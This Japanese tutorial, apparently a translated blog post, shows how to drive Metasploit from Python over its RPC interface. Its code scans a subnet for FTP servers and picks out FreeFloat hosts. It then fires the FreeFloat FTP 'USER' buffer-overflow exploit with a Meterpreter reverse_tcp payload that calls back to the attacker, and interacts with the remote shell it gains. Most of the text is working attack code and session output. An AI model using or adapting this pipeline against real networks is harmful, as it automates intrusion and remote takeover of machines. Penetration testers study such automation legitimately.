MetasploitとPythonを使用して攻撃者のアクションを自動化する

metasplitはRubyで記述されており、Pythonで記述されたスクリプトをサポートしていないことが知られています。 それにもかかわらず、metasplitには、タスクを実行できる双方向RPCインターフェイスがあります。



リモートプロシージャコール(RPC)metasploit- allfroのpymetasploitSpiderLabsの python-msfrpcを操作できる2つのライブラリがあります。 この記事では最初の記事を使用します。 エクスプロイト起動し、インターネットおよびgithub pymetasploitリポジトリで確立されたセッションとやり取りするがありますが、スキャナーを起動して結果をさらに処理するための出力を取得する例は見つかりませんでした。 オプションの1つは後で検討されます。



ライブラリをインストールします。



git clone https://github.com/allfro/pymetasploit
      
      





執筆時点では、msfrpcへの接続はこのコミットなしでは機能しませんでした。



 cd pymetasploit python setup.py install
      
      





RPCリスナーを実行します。



 root@kali-template:~# msfrpcd -h Usage: msfrpcd <options> OPTIONS: -P <opt> Specify the password to access msfrpcd -S Disable SSL on the RPC socket -U <opt> Specify the username to access msfrpcd -a <opt> Bind to this IP address -f Run the daemon in the foreground -h Help banner -n Disable database -p <opt> Bind to this port instead of 55553 -t <opt> Token Timeout (default 300 seconds) -u <opt> URI for Web server root@kali-template:~# msfrpcd -P password -n -f -a 127.0.0.1 [*] MSGRPC starting on 127.0.0.1:55553 (SSL):Msg... [*] MSGRPC ready at 2018-03-28 14:34:10 +0300.
      
      





Metaslpoit RPCは、デフォルトポート55553でローカルにリッスンするようになりました。



自動化のタスク



サブネット192.168.0.0/24があるとしましょう。 いくつかのftpサーバーが利用できることが知られています。 これらのいずれかがFreefloat FTPサーバー-「USER」リモートバッファーオーバーフローの脆弱性に対して脆弱かどうかを確認する必要があります。 検出されたら、脆弱性を悪用し、脆弱なマシンのシェルを取得します。



必要なクラスをインポートする



 from metasploit.msfrpc import MsfRpcClient from metasploit.msfconsole import MsfRpcConsole
      
      





RPCと対話するには、MsfRpcClientだけで十分ですが、スキャンモジュールの出力を取得するには、metasplitコンソールとの対話が必要なので、MsfRpcConsoleもインポートします。



RPCリスナーに接続し、パスワードを渡します。 デフォルトでは、ポートとアドレスが使用されます。



 client = MsfRpcClient('password')
      
      





Metasploitコンソールに接続します。デフォルトでは、コンソールメッセージは標準出力に出力され、画面に表示されます。 このデータを「キャッチ」して後で使用するために、MsfRpcConsoleクラスはコールバック関数を使用します。これはcb =パラメーターを介して渡されます。 したがって、表示用のデータがコンソールに来るたびに、read_console関数が呼び出されます。



 console = MsfRpcConsole(client, cb=read_console)
      
      





データは次の形式で受信されます。



 In [6]: console.console.read() Out[6]: {'busy': False, 'data': '', 'prompt': 'msf > '}
      
      





メインプログラムコードから受信データにアクセスできるように、read_console関数を定義します。 2つのグローバル変数を定義します。





read_console関数は、 'busy'キーの値をグローバル変数global_console_statusに割り当て、通常はモジュール実行の肯定的な結果を示す[+]記号が 'data'キーのデータに含まれているかどうかを確認します。 結果が正の場合、[+]を含む行がglobal_positive_outリストに追加されます。



 global global_positive_out global_positive_out = list() global global_console_status global_console_status = False def read_console(console_data): global global_console_status global_console_status = console_data['busy'] print global_console_status if '[+]' in console_data['data']: sigdata = console_data['data'].rstrip().split('\n') for line in sigdata: if '[+]' in line: global_positive_out.append(line) print console_data['data']
      
      





次に、ftp_version補助モジュールを起動するために必要なコマンドをコンソールで実行します。



 console.execute('use auxiliary/scanner/ftp/ftp_version') console.execute('set RHOSTS 192.168.0.0/24') console.execute('set THREADS 20') console.execute('run') time.sleep(5)
      
      





モジュールが完了するまで待機し、5秒ごとにコンソールがビジーかどうかを確認します。



 while global_console_status: time.sleep(5)
      
      





モジュールが完了したら、結果を処理し、脆弱なホストのIPアドレスを抽出します。



 targets = list() for line in global_positive_out: if 'FreeFloat' in line: ip = re.findall(r'[0-9]+(?:\.[0-9]+){3}', line)[0] targets.append(ip)
      
      





見つかった脆弱性を悪用するには、悪用オブジェクトを作成します。 exploit.optionsおよびexploit.requiredメソッドを使用して、このエクスプロイトのオプションと必要なオプションを確認できます。 LPORT、LHOST、EXITFUNCをインストールします。



 In [4]: exploit.required Out[4]: ['RHOST', 'SSLVersion', 'ConnectTimeout', 'FTPTimeout', 'RPORT'] In [5]: exploit.options Out[5]: ['FTPDEBUG', 'ContextInformationFile', 'WORKSPACE', 'FTPPASS', 'FTPUSER', 'CHOST', 'RHOST', 'Proxies', 'DisablePayloadHandler', 'TCP::send_delay', 'SSLVersion', 'ConnectTimeout', 'CPORT', 'SSLVerifyMode', 'FTPTimeout', 'VERBOSE', 'SSLCipher', 'SSL', 'WfsDelay', 'TCP::max_send_size', 'EnableContextEncoding', 'RPORT'] exploit = client.modules.use('exploit', 'windows/ftp/freefloatftp_user') pl = client.modules.use('payload', 'windows/meterpreter/reverse_tcp') pl['LPORT'] = 443 pl['LHOST'] = localhost pl['EXITFUNC'] = 'thread'
      
      





開始するには、execute()メソッドを呼び出して、以前に初期化されたペイロードを渡す必要があります。



 for target in targets: exploit['RHOST'] = target ftpsession = exploit.execute(payload=pl) time.sleep(5)
      
      





正常に起動すると、job_idキーに番号が含まれ、失敗するとNoneが含まれます。



 {'job_id': 1, 'uuid': 'uv0ontph'}
      
      





セッションを受信すると、client.sessions.listには、このセッションに固有のセッション番号とパラメーターが以下の形式で含まれます。



 {1: {'info': 'SEMYON-FE434C23\\Administrator @ SEMYON-FE434C23', 'username': 'root', 'session_port': 21, 'via_payload': 'payload/windows/meterpreter/reverse_tcp', 'uuid': 'azxxoup4', 'tunnel_local': '192.168.0.92:443', 'via_exploit': 'exploit/windows/ftp/freefloatftp_user', 'arch': 'x86', 'exploit_uuid': 'uv0ontph', 'tunnel_peer': '192.168.0.90:4418', 'platform': 'windows', 'workspace': 'false', 'routes': '', 'target_host': '192.168.0.90', 'type': 'meterpreter', 'session_host': '192.168.0.90', 'desc': 'Meterpreter'}}
      
      





この場合、メーターのリバースセッションがエクスプロイトのペイロードとして選択されました。 接続が到着したかどうかを判断するには、client.sessions.listに新しいセッションがあるかどうかを確認する必要があります。 この場合のキーは、exploit_uuidセッションと同じはずのエクスプロイトuuidです。 実装のために、新しいセッションを見つけるための2つの関数、compare_sessionsを定義します。これは、指定された時間待機し、現在のセッションとget_sessionで古いセッションのリストを比較します。



 def get_session(sessions_list, exploit_job): if not sessions_list: return False for session in sessions_list: if sessions_list[session]['exploit_uuid'] == exploit_job['uuid']: return session return False def compare_sessions(old_sessions_list, seconds = 120): flag = False while not flag: if seconds == 0: return False if client.sessions.list != old_sessions_list: flag = True time.sleep(1) seconds -= 1 current_sessions = client.sessions.list all(map(current_sessions.pop, old_sessions_list)) return current_sessions
      
      





現在のセッションを保存し、エクスプロイトを起動します。



 old_sessions = client.sessions.list ftpsession = exploit.execute(payload=pl) time.sleep(5) ftpsessioncode = get_session(client.sessions.list, ftpsession) if not ftpsessioncode: sys.exit()
      
      





セッションを受け取った後、client.sessions.session()を呼び出してセッション番号を渡すことにより、セッションと対話できます。 メソッドshell.read()、shell.write()、shell.runsingle()を使用して、コマンドを転送し、セッションメータープリターから応答を読み取ることができます。



 shell = client.sessions.session(ftpsessioncode) shell.read()
      
      





説明した手法を使用して、使用可能なモジュールを実行し、コンソールから出力を取得できます。



コードはgithub リポジトリで入手できます



All Articles